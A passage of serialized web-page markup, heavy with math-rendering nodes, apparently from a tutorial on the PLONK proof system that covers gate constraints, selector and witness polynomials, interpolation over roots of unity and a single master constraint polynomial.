",{"type":23,"tag":64,"props":139840,"children":139842},{"className":139841},[1527,1528],[139843],{"type":23,"tag":481,"props":139844,"children":139846},{"className":139845},[1533],[139847],{"type":23,"tag":481,"props":139848,"children":139850},{"className":139849,"ariaHidden":1539},[1538],[139851],{"type":23,"tag":481,"props":139852,"children":139854},{"className":139853},[1544],[139855,139860],{"type":23,"tag":481,"props":139856,"children":139859},{"className":139857,"style":139858},[1549],"height:0.8444em;vertical-align:-0.15em;",[],{"type":23,"tag":481,"props":139861,"children":139863},{"className":139862},[1555],[139864,139869],{"type":23,"tag":481,"props":139865,"children":139867},{"className":139866,"style":90591},[1555,19086],[139868],{"type":28,"value":90594},{"type":23,"tag":481,"props":139870,"children":139872},{"className":139871},[1572],[139873],{"type":23,"tag":481,"props":139874,"children":139876},{"className":139875},[1577,19140],[139877,139907],{"type":23,"tag":481,"props":139878,"children":139880},{"className":139879},[1582],[139881,139902],{"type":23,"tag":481,"props":139882,"children":139884},{"className":139883,"style":91108},[1587],[139885],{"type":23,"tag":481,"props":139886,"children":139888},{"style":139887},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[139889,139893],{"type":23,"tag":481,"props":139890,"children":139892},{"className":139891,"style":1597},[1596],[],{"type":23,"tag":481,"props":139894,"children":139896},{"className":139895},[1602,1603,1604,1605],[139897],{"type":23,"tag":481,"props":139898,"children":139900},{"className":139899},[1555,19086,1605],[139901],{"type":28,"value":1274},{"type":23,"tag":481,"props":139903,"children":139905},{"className":139904},[19243],[139906],{"type":28,"value":19246},{"type":23,"tag":481,"props":139908,"children":139910},{"className":139909},[1582],[139911],{"type":23,"tag":481,"props":139912,"children":139914},{"className":139913,"style":90662},[1587],[139915],{"type":23,"tag":481,"props":139916,"children":139917},{},[],{"type":28,"value":139919},", right input ",{"type":23,"tag":64,"props":139921,"children":139923},{"className":139922},[1527,1528],[139924],{"type":23,"tag":481,"props":139925,"children":139927},{"className":139926},[1533],[139928],{"type":23,"tag":481,"props":139929,"children":139931},{"className":139930,"ariaHidden":1539},[1538],[139932],{"type":23,"tag":481,"props":139933,"children":139935},{"className":139934},[1544],[139936,139940],{"type":23,"tag":481,"props":139937,"children":139939},{"className":139938,"style":107549},[1549],[],{"type":23,"tag":481,"props":139941,"children":139943},{"className":139942},[1555],[139944,139949],{"type":23,"tag":481,"props":139945,"children":139947},{"className":139946,"style":90579},[1555,19086],[139948],{"type":28,"value":91398},{"type":23,"tag":481,"props":139950,"children":139952},{"className":139951},[1572],[139953],{"type":23,"tag":481,"props":139954,"children":139956},{"className":139955},[1577,19140],[139957,139986],{"type":23,"tag":481,"props":139958,"children":139960},{"className":139959},[1582],[139961,139981],{"type":23,"tag":481,"props":139962,"children":139964},{"className":139963,"style":91108},[1587],[139965],{"type":23,"tag":481,"props":139966,"children":139967},{"style":107578},[139968,139972],{"type":23,"tag":481,"props":139969,"children":139971},{"className":139970,"style":1597},[1596],[],{"type":23,"tag":481,"props":139973,"children":139975},{"className":139974},[1602,1603,1604,1605],[139976],{"type":23,"tag":481,"props":139977,"children":139979},{"className":139978},[1555,19086,1605],[139980],{"type":28,"value":1274},{"type":23,"tag":481,"props":139982,"children":139984},{"className":139983},[19243],[139985],{"type":28,"value":19246},{"type":23,"tag":481,"props":139987,"children":139989},{"className":139988},[1582],[139990],{"type":23,"tag":481,"props":139991,"children":139993},{"className":139992,"style":90662},[1587],[139994],{"type":23,"tag":481,"props":139995,"children":139996},{},[],{"type":28,"value":139998},", and output ",{"type":23,"tag":64,"props":140000,"children":140002},{"className":140001},[1527,1528],[140003],{"type":23,"tag":481,"props":140004,"children":140006},{"className":140005},[1533],[140007],{"type":23,"tag":481,"props":140008,"children":140010},{"className":140009,"ariaHidden":1539},[1538],[140011],{"type":23,"tag":481,"props":140012,"children":140014},{"className":140013},[1544],[140015,140019],{"type":23,"tag":481,"props":140016,"children":140018},{"className":140017,"style":107549},[1549],[],{"type":23,"tag":481,"props":140020,"children":140022},{"className":140021},[1555],[140023,140028],{"type":23,"tag":481,"props":140024,"children":140026},{"className":140025},[1555,19086],[140027],{"type":28,"value":90549},{"type":23,"tag":481,"props":140029,"children":140031},{"className":140030},[1572],[140032],{"type":23,"tag":481,"props":140033,"children":140035},{"className":140034},[1577,19140],[140036,140065],{"type":23,"tag":481,"props":140037,"children":140039},{"className":140038},[1582],[140040,140060],{"type":23,"tag":481,"props":140041,"children":140043},{"className":140042,"style":91108},[1587],[140044],{"type":23,"tag":481,"props":140045,"children":140046},{"style":90635},[140047,140051],{"type":23,"tag":481,"props":140048,"children":140050},{"className":140049,"style":1597},[1596],[],{"type":23,"tag":481,"props":140052,"children":140054},{"className":140053},[1602,1603,1604,1605],[140055],{"type":23,"tag":481,"props":140056,"children":140058},{"className":140057},[1555,19086,1605],[140059],{"type":28,"value":1274},{"type":23,"tag":481,"props":140061,"children":140063},{"className":140062},[19243],[140064],{"type":28,"value":19246},{"type":23,"tag":481,"props":140066,"children":140068},{"className":140067},[1582],[140069],{"type":23,"tag":481,"props":140070,"children":140072},{"className":140071,"style":90662},[1587],[140073],{"type":23,"tag":481,"props":140074,"children":140075},{},[],{"type":28,"value":140077},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":23,"tag":24,"props":140079,"children":140080},{},[140081,140083,140088,140090,140194,140196,140299,140301,140306],{"type":28,"value":140082},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":23,"tag":127,"props":140084,"children":140085},{},[140086],{"type":28,"value":140087},"selector",{"type":28,"value":140089}," values that act as switches: setting ",{"type":23,"tag":64,"props":140091,"children":140093},{"className":140092},[1527,1528],[140094],{"type":23,"tag":481,"props":140095,"children":140097},{"className":140096},[1533],[140098],{"type":23,"tag":481,"props":140099,"children":140101},{"className":140100,"ariaHidden":1539},[1538],[140102,140181],{"type":23,"tag":481,"props":140103,"children":140105},{"className":140104},[1544],[140106,140110,140168,140172,140177],{"type":23,"tag":481,"props":140107,"children":140109},{"className":140108,"style":107469},[1549],[],{"type":23,"tag":481,"props":140111,"children":140113},{"className":140112},[1555],[140114,140119],{"type":23,"tag":481,"props":140115,"children":140117},{"className":140116,"style":91065},[1555,19086],[140118],{"type":28,"value":91068},{"type":23,"tag":481,"props":140120,"children":140122},{"className":140121},[1572],[140123],{"type":23,"tag":481,"props":140124,"children":140126},{"className":140125},[1577,19140],[140127,140157],{"type":23,"tag":481,"props":140128,"children":140130},{"className":140129},[1582],[140131,140152],{"type":23,"tag":481,"props":140132,"children":140135},{"className":140133,"style":140134},[1587],"height:0.3283em;",[140136],{"type":23,"tag":481,"props":140137,"children":140138},{"style":91112},[140139,140143],{"type":23,"tag":481,"props":140140,"children":140142},{"className":140141,"style":1597},[1596],[],{"type":23,"tag":481,"props":140144,"children":140146},{"className":140145},[1602,1603,1604,1605],[140147],{"type":23,"tag":481,"props":140148,"children":140150},{"className":140149,"style":92587},[1555,19086,1605],[140151],{"type":28,"value":92590},{"type":23,"tag":481,"props":140153,"children":140155},{"className":140154},[19243],[140156],{"type":28,"value":19246},{"type":23,"tag":481,"props":140158,"children":140160},{"className":140159},[1582],[140161],{"type":23,"tag":481,"props":140162,"children":140164},{"className":140163,"style":90662},[1587],[140165],{"type":23,"tag":481,"props":140166,"children":140167},{},[],{"type":23,"tag":481,"props":140169,"children":140171},{"className":140170,"style":1734},[1636],[],{"type":23,"tag":481,"props":140173,"children":140175},{"className":140174},[1739],[140176],{"type":28,"value":603},{"type":23,"tag":481,"props":140178,"children":140180},{"className":140179,"style":1734},[1636],[],{"type":23,"tag":481,"props":140182,"children":140184},{"className":140183},[1544],[140185,140189],{"type":23,"tag":481,"props":140186,"children":140188},{"className":140187,"style":91610},[1549],[],{"type":23,"tag":481,"props":140190,"children":140192},{"className":140191},[1555],[140193],{"type":28,"value":1558},{"type":28,"value":140195}," makes a row a multiplication gate, setting ",{"type":23,"tag":64,"props":140197,"children":140199},{"className":140198},[1527,1528],[140200],{"type":23,"tag":481,"props":140201,"children":140203},{"className":140202},[1533],[140204],{"type":23,"tag":481,"props":140205,"children":140207},{"className":140206,"ariaHidden":1539},[1538],[140208,140286],{"type":23,"tag":481,"props":140209,"children":140211},{"className":140210},[1544],[140212,140216,140273,140277,140282],{"type":23,"tag":481,"props":140213,"children":140215},{"className":140214,"style":107469},[1549],[],{"type":23,"tag":481,"props":140217,"children":140219},{"className":140218},[1555],[140220,140225],{"type":23,"tag":481,"props":140221,"children":140223},{"className":140222,"style":91065},[1555,19086],[140224],{"type":28,"value":91068},{"type":23,"tag":481,"props":140226,"children":140228},{"className":140227},[1572],[140229],{"type":23,"tag":481,"props":140230,"children":140232},{"className":140231},[1577,19140],[140233,140262],{"type":23,"tag":481,"props":140234,"children":140236},{"className":140235},[1582],[140237,140257],{"type":23,"tag":481,"props":140238,"children":140240},{"className":140239,"style":140134},[1587],[140241],{"type":23,"tag":481,"props":140242,"children":140243},{"style":91112},[140244,140248],{"type":23,"tag":481,"props":140245,"children":140247},{"className":140246,"style":1597},[1596],[],{"type":23,"tag":481,"props":140249,"children":140251},{"className":140250},[1602,1603,1604,1605],[140252],{"type":23,"tag":481,"props":140253,"children":140255},{"className":140254},[1555,19086,1605],[140256],{"type":28,"value":115543},{"type":23,"tag":481,"props":140258,"children":140260},{"className":140259},[19243],[140261],{"type":28,"value":19246},{"type":23,"tag":481,"props":140263,"children":140265},{"className":140264},[1582],[140266],{"type":23,"tag":481,"props":140267,"children":140269},{"className":140268,"style":90662},[1587],[140270],{"type":23,"tag":481,"props":140271,"children":140272},{},[],{"type":23,"tag":481,"props":140274,"children":140276},{"className":140275,"style":1734},[1636],[],{"type":23,"tag":481,"props":140278,"children":140280},{"className":140279},[1739],[140281],{"type":28,"value":603},{"type":23,"tag":481,"props":140283,"children":140285},{"className":140284,"style":1734},[1636],[],{"type":23,"tag":481,"props":140287,"children":140289},{"className":140288},[1544],[140290,140294],{"type":23,"tag":481,"props":140291,"children":140293},{"className":140292,"style":91610},[1549],[],{"type":23,"tag":481,"props":140295,"children":140297},{"className":140296},[1555],[140298],{"type":28,"value":1558},{"type":28,"value":140300}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":23,"tag":127,"props":140302,"children":140303},{},[140304],{"type":28,"value":140305},"permutation argument",{"type":28,"value":140307}," for that, which we will not cover here.",{"type":23,"tag":7092,"props":140309,"children":140311},{"id":140310},"from-many-checks-to-one",[140312],{"type":28,"value":140313},"From many checks to one",{"type":23,"tag":24,"props":140315,"children":140316},{},[140317,140319,140324,140325,140417,140418,140510,140511,140603,140605,140610,140611,140703,140704,140796,140798,140823,140825,140850,140852,140944,140946,140971,140973,140998],{"type":28,"value":140318},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":23,"tag":127,"props":140320,"children":140321},{},[140322],{"type":28,"value":140323},"witness polynomials",{"type":28,"value":3935},{"type":23,"tag":64,"props":140326,"children":140328},{"className":140327},[1527,1528],[140329],{"type":23,"tag":481,"props":140330,"children":140332},{"className":140331},[1533],[140333],{"type":23,"tag":481,"props":140334,"children":140336},{"className":140335,"ariaHidden":1539},[1538],[140337],{"type":23,"tag":481,"props":140338,"children":140340},{"className":140339},[1544],[140341,140345,140402,140407,140412],{"type":23,"tag":481,"props":140342,"children":140344},{"className":140343,"style":1657},[1549],[],{"type":23,"tag":481,"props":140346,"children":140348},{"className":140347},[1555],[140349,140354],{"type":23,"tag":481,"props":140350,"children":140352},{"className":140351,"style":92933},[1555,19086],[140353],{"type":28,"value":30601},{"type":23,"tag":481,"props":140355,"children":140357},{"className":140356},[1572],[140358],{"type":23,"tag":481,"props":140359,"children":140361},{"className":140360},[1577,19140],[140362,140391],{"type":23,"tag":481,"props":140363,"children":140365},{"className":140364},[1582],[140366,140386],{"type":23,"tag":481,"props":140367,"children":140369},{"className":140368,"style":140134},[1587],[140370],{"type":23,"tag":481,"props":140371,"children":140372},{"style":92954},[140373,140377],{"type":23,"tag":481,"props":140374,"children":140376},{"className":140375,"style":1597},[1596],[],{"type":23,"tag":481,"props":140378,"children":140380},{"className":140379},[1602,1603,1604,1605],[140381],{"type":23,"tag":481,"props":140382,"children":140384},{"className":140383},[1555,19086,1605],[140385],{"type":28,"value":115543},{"type":23,"tag":481,"props":140387,"children":140389},{"className":140388},[19243],[140390],{"type":28,"value":19246},{"type":23,"tag":481,"props":140392,"children":140394},{"className":140393},[1582],[140395],{"type":23,"tag":481,"props":140396,"children":140398},{"className":140397,"style":90662},[1587],[140399],{"type":23,"tag":481,"props":140400,"children":140401},{},[],{"type":23,"tag":481,"props":140403,"children":140405},{"className":140404},[19215],[140406],{"type":28,"value":618},{"type":23,"tag":481,"props":140408,"children":140410},{"className":140409},[1555,19086],[140411],{"type":28,"value":16772},{"type":23,"tag":481,"props":140413,"children":140415},{"className":140414},[19237],[140416],{"type":28,"value":642},{"type":28,"value":588},{"type":23,"tag":64,"props":140419,"children":140421},{"className":140420},[1527,1528],[140422],{"type":23,"tag":481,"props":140423,"children":140425},{"className":140424},[1533],[140426],{"type":23,"tag":481,"props":140427,"children":140429},{"className":140428,"ariaHidden":1539},[1538],[140430],{"type":23,"tag":481,"props":140431,"children":140433},{"className":140432},[1544],[140434,140438,140495,140500,140505],{"type":23,"tag":481,"props":140435,"children":140437},{"className":140436,"style":1657},[1549],[],{"type":23,"tag":481,"props":140439,"children":140441},{"className":140440},[1555],[140442,140447],{"type":23,"tag":481,"props":140443,"children":140445},{"className":140444,"style":92933},[1555,19086],[140446],{"type":28,"value":30601},{"type":23,"tag":481,"props":140448,"children":140450},{"className":140449},[1572],[140451],{"type":23,"tag":481,"props":140452,"children":140454},{"className":140453},[1577,19140],[140455,140484],{"type":23,"tag":481,"props":140456,"children":140458},{"className":140457},[1582],[140459,140479],{"type":23,"tag":481,"props":140460,"children":140462},{"className":140461,"style":140134},[1587],[140463],{"type":23,"tag":481,"props":140464,"children":140465},{"style":92954},[140466,140470],{"type":23,"tag":481,"props":140467,"children":140469},{"className":140468,"style":1597},[1596],[],{"type":23,"tag":481,"props":140471,"children":140473},{"className":140472},[1602,1603,1604,1605],[140474],{"type":23,"tag":481,"props":140475,"children":140477},{"className":140476,"style":120356},[1555,19086,1605],[140478],{"type":28,"value":120359},{"type":23,"tag":481,"props":140480,"children":140482},{"className":140481},[19243],[140483],{"type":28,"value":19246},{"type":23,"tag":481,"props":140485,"children":140487},{"className":140486},[1582],[140488],{"type":23,"tag":481,"props":140489,"children":140491},{"className":140490,"style":90662},[1587],[140492],{"type":23,"tag":481,"props":140493,"children":140494},{},[],{"type":23,"tag":481,"props":140496,"children":140498},{"className":140497},[19215],[140499],{"type":28,"value":618},{"type":23,"tag":481,"props":140501,"children":140503},{"className":140502},[1555,19086],[140504],{"type":28,"value":16772},{"type":23,"tag":481,"props":140506,"children":140508},{"className":140507},[19237],[140509],{"type":28,"value":642},{"type":28,"value":588},{"type":23,"tag":64,"props":140512,"children":140514},{"className":140513},[1527,1528],[140515],{"type":23,"tag":481,"props":140516,"children":140518},{"className":140517},[1533],[140519],{"type":23,"tag":481,"props":140520,"children":140522},{"className":140521,"ariaHidden":1539},[1538],[140523],{"type":23,"tag":481,"props":140524,"children":140526},{"className":140525},[1544],[140527,140531,140588,140593,140598],{"type":23,"tag":481,"props":140528,"children":140530},{"className":140529,"style":1657},[1549],[],{"type":23,"tag":481,"props":140532,"children":140534},{"className":140533},[1555],[140535,140540],{"type":23,"tag":481,"props":140536,"children":140538},{"className":140537,"style":92933},[1555,19086],[140539],{"type":28,"value":30601},{"type":23,"tag":481,"props":140541,"children":140543},{"className":140542},[1572],[140544],{"type":23,"tag":481,"props":140545,"children":140547},{"className":140546},[1577,19140],[140548,140577],{"type":23,"tag":481,"props":140549,"children":140551},{"className":140550},[1582],[140552,140572],{"type":23,"tag":481,"props":140553,"children":140555},{"className":140554,"style":140134},[1587],[140556],{"type":23,"tag":481,"props":140557,"children":140558},{"style":92954},[140559,140563],{"type":23,"tag":481,"props":140560,"children":140562},{"className":140561,"style":1597},[1596],[],{"type":23,"tag":481,"props":140564,"children":140566},{"className":140565},[1602,1603,1604,1605],[140567],{"type":23,"tag":481,"props":140568,"children":140570},{"className":140569,"style":90579},[1555,19086,1605],[140571],{"type":28,"value":112898},{"type":23,"tag":481,"props":140573,"children":140575},{"className":140574},[19243],[140576],{"type":28,"value":19246},{"type":23,"tag":481,"props":140578,"children":140580},{"className":140579},[1582],[140581],{"type":23,"tag":481,"props":140582,"children":140584},{"className":140583,"style":90662},[1587],[140585],{"type":23,"tag":481,"props":140586,"children":140587},{},[],{"type":23,"tag":481,"props":140589,"children":140591},{"className":140590},[19215],[140592],{"type":28,"value":618},{"type":23,"tag":481,"props":140594,"children":140596},{"className":140595},[1555,19086],[140597],{"type":28,"value":16772},{"type":23,"tag":481,"props":140599,"children":140601},{"className":140600},[19237],[140602],{"type":28,"value":642},{"type":28,"value":140604}," and the selectors become ",{"type":23,"tag":127,"props":140606,"children":140607},{},[140608],{"type":28,"value":140609},"selector polynomials",{"type":28,"value":3935},{"type":23,"tag":64,"props":140612,"children":140614},{"className":140613},[1527,1528],[140615],{"type":23,"tag":481,"props":140616,"children":140618},{"className":140617},[1533],[140619],{"type":23,"tag":481,"props":140620,"children":140622},{"className":140621,"ariaHidden":1539},[1538],[140623],{"type":23,"tag":481,"props":140624,"children":140626},{"className":140625},[1544],[140627,140631,140688,140693,140698],{"type":23,"tag":481,"props":140628,"children":140630},{"className":140629,"style":1657},[1549],[],{"type":23,"tag":481,"props":140632,"children":140634},{"className":140633},[1555],[140635,140640],{"type":23,"tag":481,"props":140636,"children":140638},{"className":140637},[1555,19086],[140639],{"type":28,"value":74334},{"type":23,"tag":481,"props":140641,"children":140643},{"className":140642},[1572],[140644],{"type":23,"tag":481,"props":140645,"children":140647},{"className":140646},[1577,19140],[140648,140677],{"type":23,"tag":481,"props":140649,"children":140651},{"className":140650},[1582],[140652,140672],{"type":23,"tag":481,"props":140653,"children":140655},{"className":140654,"style":140134},[1587],[140656],{"type":23,"tag":481,"props":140657,"children":140658},{"style":90635},[140659,140663],{"type":23,"tag":481,"props":140660,"children":140662},{"className":140661,"style":1597},[1596],[],{"type":23,"tag":481,"props":140664,"children":140666},{"className":140665},[1602,1603,1604,1605],[140667],{"type":23,"tag":481,"props":140668,"children":140670},{"className":140669,"style":92587},[1555,19086,1605],[140671],{"type":28,"value":92590},{"type":23,"tag":481,"props":140673,"children":140675},{"className":140674},[19243],[140676],{"type":28,"value":19246},{"type":23,"tag":481,"props":140678,"children":140680},{"className":140679},[1582],[140681],{"type":23,"tag":481,"props":140682,"children":140684},{"className":140683,"style":90662},[1587],[140685],{"type":23,"tag":481,"props":140686,"children":140687},{},[],{"type":23,"tag":481,"props":140689,"children":140691},{"className":140690},[19215],[140692],{"type":28,"value":618},{"type":23,"tag":481,"props":140694,"children":140696},{"className":140695},[1555,19086],[140697],{"type":28,"value":16772},{"type":23,"tag":481,"props":140699,"children":140701},{"className":140700},[19237],[140702],{"type":28,"value":642},{"type":28,"value":588},{"type":23,"tag":64,"props":140705,"children":140707},{"className":140706},[1527,1528],[140708],{"type":23,"tag":481,"props":140709,"children":140711},{"className":140710},[1533],[140712],{"type":23,"tag":481,"props":140713,"children":140715},{"className":140714,"ariaHidden":1539},[1538],[140716],{"type":23,"tag":481,"props":140717,"children":140719},{"className":140718},[1544],[140720,140724,140781,140786,140791],{"type":23,"tag":481,"props":140721,"children":140723},{"className":140722,"style":1657},[1549],[],{"type":23,"tag":481,"props":140725,"children":140727},{"className":140726},[1555],[140728,140733],{"type":23,"tag":481,"props":140729,"children":140731},{"className":140730},[1555,19086],[140732],{"type":28,"value":74334},{"type":23,"tag":481,"props":140734,"children":140736},{"className":140735},[1572],[140737],{"type":23,"tag":481,"props":140738,"children":140740},{"className":140739},[1577,19140],[140741,140770],{"type":23,"tag":481,"props":140742,"children":140744},{"className":140743},[1582],[140745,140765],{"type":23,"tag":481,"props":140746,"children":140748},{"className":140747,"style":140134},[1587],[140749],{"type":23,"tag":481,"props":140750,"children":140751},{"style":90635},[140752,140756],{"type":23,"tag":481,"props":140753,"children":140755},{"className":140754,"style":1597},[1596],[],{"type":23,"tag":481,"props":140757,"children":140759},{"className":140758},[1602,1603,1604,1605],[140760],{"type":23,"tag":481,"props":140761,"children":140763},{"className":140762},[1555,19086,1605],[140764],{"type":28,"value":115543},{"type":23,"tag":481,"props":140766,"children":140768},{"className":140767},[19243],[140769],{"type":28,"value":19246},{"type":23,"tag":481,"props":140771,"children":140773},{"className":140772},[1582],[140774],{"type":23,"tag":481,"props":140775,"children":140777},{"className":140776,"style":90662},[1587],[140778],{"type":23,"tag":481,"props":140779,"children":140780},{},[],{"type":23,"tag":481,"props":140782,"children":140784},{"className":140783},[19215],[140785],{"type":28,"value":618},{"type":23,"tag":481,"props":140787,"children":140789},{"className":140788},[1555,19086],[140790],{"type":28,"value":16772},{"type":23,"tag":481,"props":140792,"children":140794},{"className":140793},[19237],[140795],{"type":28,"value":642},{"type":28,"value":140797},", etc., all interpolated over a domain ",{"type":23,"tag":64,"props":140799,"children":140801},{"className":140800},[1527,1528],[140802],{"type":23,"tag":481,"props":140803,"children":140805},{"className":140804},[1533],[140806],{"type":23,"tag":481,"props":140807,"children":140809},{"className":140808,"ariaHidden":1539},[1538],[140810],{"type":23,"tag":481,"props":140811,"children":140813},{"className":140812},[1544],[140814,140818],{"type":23,"tag":481,"props":140815,"children":140817},{"className":140816,"style":19081},[1549],[],{"type":23,"tag":481,"props":140819,"children":140821},{"className":140820,"style":90813},[1555,19086],[140822],{"type":28,"value":90816},{"type":28,"value":140824}," of ",{"type":23,"tag":64,"props":140826,"children":140828},{"className":140827},[1527,1528],[140829],{"type":23,"tag":481,"props":140830,"children":140832},{"className":140831},[1533],[140833],{"type":23,"tag":481,"props":140834,"children":140836},{"className":140835,"ariaHidden":1539},[1538],[140837],{"type":23,"tag":481,"props":140838,"children":140840},{"className":140839},[1544],[140841,140845],{"type":23,"tag":481,"props":140842,"children":140844},{"className":140843,"style":108420},[1549],[],{"type":23,"tag":481,"props":140846,"children":140848},{"className":140847},[1555,19086],[140849],{"type":28,"value":53930},{"type":28,"value":140851},"-th roots of unity. Evaluating ",{"type":23,"tag":64,"props":140853,"children":140855},{"className":140854},[1527,1528],[140856],{"type":23,"tag":481,"props":140857,"children":140859},{"className":140858},[1533],[140860],{"type":23,"tag":481,"props":140861,"children":140863},{"className":140862,"ariaHidden":1539},[1538],[140864],{"type":23,"tag":481,"props":140865,"children":140867},{"className":140866},[1544],[140868,140872,140929,140934,140939],{"type":23,"tag":481,"props":140869,"children":140871},{"className":140870,"style":1657},[1549],[],{"type":23,"tag":481,"props":140873,"children":140875},{"className":140874},[1555],[140876,140881],{"type":23,"tag":481,"props":140877,"children":140879},{"className":140878,"style":92933},[1555,19086],[140880],{"type":28,"value":30601},{"type":23,"tag":481,"props":140882,"children":140884},{"className":140883},[1572],[140885],{"type":23,"tag":481,"props":140886,"children":140888},{"className":140887},[1577,19140],[140889,140918],{"type":23,"tag":481,"props":140890,"children":140892},{"className":140891},[1582],[140893,140913],{"type":23,"tag":481,"props":140894,"children":140896},{"className":140895,"style":140134},[1587],[140897],{"type":23,"tag":481,"props":140898,"children":140899},{"style":92954},[140900,140904],{"type":23,"tag":481,"props":140901,"children":140903},{"className":140902,"style":1597},[1596],[],{"type":23,"tag":481,"props":140905,"children":140907},{"className":140906},[1602,1603,1604,1605],[140908],{"type":23,"tag":481,"props":140909,"children":140911},{"className":140910},[1555,19086,1605],[140912],{"type":28,"value":115543},{"type":23,"tag":481,"props":140914,"children":140916},{"className":140915},[19243],[140917],{"type":28,"value":19246},{"type":23,"tag":481,"props":140919,"children":140921},{"className":140920},[1582],[140922],{"type":23,"tag":481,"props":140923,"children":140925},{"className":140924,"style":90662},[1587],[140926],{"type":23,"tag":481,"props":140927,"children":140928},{},[],{"type":23,"tag":481,"props":140930,"children":140932},{"className":140931},[19215],[140933],{"type":28,"value":618},{"type":23,"tag":481,"props":140935,"children":140937},{"className":140936},[1555,19086],[140938],{"type":28,"value":16772},{"type":23,"tag":481,"props":140940,"children":140942},{"className":140941},[19237],[140943],{"type":28,"value":642},{"type":28,"value":140945}," at the ",{"type":23,"tag":64,"props":140947,"children":140949},{"className":140948},[1527,1528],[140950],{"type":23,"tag":481,"props":140951,"children":140953},{"className":140952},[1533],[140954],{"type":23,"tag":481,"props":140955,"children":140957},{"className":140956,"ariaHidden":1539},[1538],[140958],{"type":23,"tag":481,"props":140959,"children":140961},{"className":140960},[1544],[140962,140966],{"type":23,"tag":481,"props":140963,"children":140965},{"className":140964,"style":139830},[1549],[],{"type":23,"tag":481,"props":140967,"children":140969},{"className":140968},[1555,19086],[140970],{"type":28,"value":1274},{"type":28,"value":140972},"-th root recovers the left wire value at row ",{"type":23,"tag":64,"props":140974,"children":140976},{"className":140975},[1527,1528],[140977],{"type":23,"tag":481,"props":140978,"children":140980},{"className":140979},[1533],[140981],{"type":23,"tag":481,"props":140982,"children":140984},{"className":140983,"ariaHidden":1539},[1538],[140985],{"type":23,"tag":481,"props":140986,"children":140988},{"className":140987},[1544],[140989,140993],{"type":23,"tag":481,"props":140990,"children":140992},{"className":140991,"style":139830},[1549],[],{"type":23,"tag":481,"props":140994,"children":140996},{"className":140995},[1555,19086],[140997],{"type":28,"value":1274},{"type":28,"value":199},{"type":23,"tag":141000,"props":141001,"children":141002},"polynomial-interpolation-panel",{},[],{"type":23,"tag":24,"props":141004,"children":141005},{},[141006,141008,141048,141050,141116,141118,141248,141250,141290,141292,141332,141334,141374,141375,141497],{"type":28,"value":141007},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":23,"tag":64,"props":141009,"children":141011},{"className":141010},[1527,1528],[141012],{"type":23,"tag":481,"props":141013,"children":141015},{"className":141014},[1533],[141016],{"type":23,"tag":481,"props":141017,"children":141019},{"className":141018,"ariaHidden":1539},[1538],[141020],{"type":23,"tag":481,"props":141021,"children":141023},{"className":141022},[1544],[141024,141028,141033,141038,141043],{"type":23,"tag":481,"props":141025,"children":141027},{"className":141026,"style":1657},[1549],[],{"type":23,"tag":481,"props":141029,"children":141031},{"className":141030,"style":19087},[1555,19086],[141032],{"type":28,"value":119357},{"type":23,"tag":481,"props":141034,"children":141036},{"className":141035},[19215],[141037],{"type":28,"value":618},{"type":23,"tag":481,"props":141039,"children":141041},{"className":141040},[1555,19086],[141042],{"type":28,"value":16772},{"type":23,"tag":481,"props":141044,"children":141046},{"className":141045},[19237],[141047],{"type":28,"value":642},{"type":28,"value":141049}," that combines selectors and witnesses. If the prover was honest, ",{"type":23,"tag":64,"props":141051,"children":141053},{"className":141052},[1527,1528],[141054],{"type":23,"tag":481,"props":141055,"children":141057},{"className":141056},[1533],[141058],{"type":23,"tag":481,"props":141059,"children":141061},{"className":141060,"ariaHidden":1539},[1538],[141062,141103],{"type":23,"tag":481,"props":141063,"children":141065},{"className":141064},[1544],[141066,141070,141075,141080,141085,141090,141094,141099],{"type":23,"tag":481,"props":141067,"children":141069},{"className":141068,"style":1657},[1549],[],{"type":23,"tag":481,"props":141071,"children":141073},{"className":141072,"style":19087},[1555,19086],[141074],{"type":28,"value":119357},{"type":23,"tag":481,"props":141076,"children":141078},{"className":141077},[19215],[141079],{"type":28,"value":618},{"type":23,"tag":481,"props":141081,"children":141083},{"className":141082},[1555,19086],[141084],{"type":28,"value":16772},{"type":23,"tag":481,"props":141086,"children":141088},{"className":141087},[19237],[141089],{"type":28,"value":642},{"type":23,"tag":481,"props":141091,"children":141093},{"className":141092,"style":1734},[1636],[],{"type":23,"tag":481,"props":141095,"children":141097},{"className":141096},[1739],[141098],{"type":28,"value":603},{"type":23,"tag":481,"props":141100,"children":141102},{"className":141101,"style":1734},[1636],[],{"type":23,"tag":481,"props":141104,"children":141106},{"className":141105},[1544],[141107,141111],{"type":23,"tag":481,"props":141108,"children":141110},{"className":141109,"style":91610},[1549],[],{"type":23,"tag":481,"props":141112,"children":141114},{"className":141113},[1555],[141115],{"type":28,"value":1568},{"type":28,"value":141117}," at every row index in the domain. The vanishing polynomial ",{"type":23,"tag":64,"props":141119,"children":141121},{"className":141120},[1527,1528],[141122],{"type":23,"tag":481,"props":141123,"children":141125},{"className":141124},[1533],[141126],{"type":23,"tag":481,"props":141127,"children":141129},{"className":141128,"ariaHidden":1539},[1538],[141130,141172,141235],{"type":23,"tag":481,"props":141131,"children":141133},{"className":141132},[1544],[141134,141138,141144,141149,141154,141159,141163,141168],{"type":23,"tag":481,"props":141135,"children":141137},{"className":141136,"style":1657},[1549],[],{"type":23,"tag":481,"props":141139,"children":141141},{"className":141140,"style":19618},[1555,19086],[141142],{"type":28,"value":141143},"Z",{"type":23,"tag":481,"props":141145,"children":141147},{"className":141146},[19215],[141148],{"type":28,"value":618},{"type":23,"tag":481,"props":141150,"children":141152},{"className":141151},[1555,19086],[141153],{"type":28,"value":16772},{"type":23,"tag":481,"props":141155,"children":141157},{"className":141156},[19237],[141158],{"type":28,"value":642},{"type":23,"tag":481,"props":141160,"children":141162},{"className":141161,"style":1734},[1636],[],{"type":23,"tag":481,"props":141164,"children":141166},{"className":141165},[1739],[141167],{"type":28,"value":603},{"type":23,"tag":481,"props":141169,"children":141171},{"className":141170,"style":1734},[1636],[],{"type":23,"tag":481,"props":141173,"children":141175},{"className":141174},[1544],[141176,141181,141222,141226,141231],{"type":23,"tag":481,"props":141177,"children":141180},{"className":141178,"style":141179},[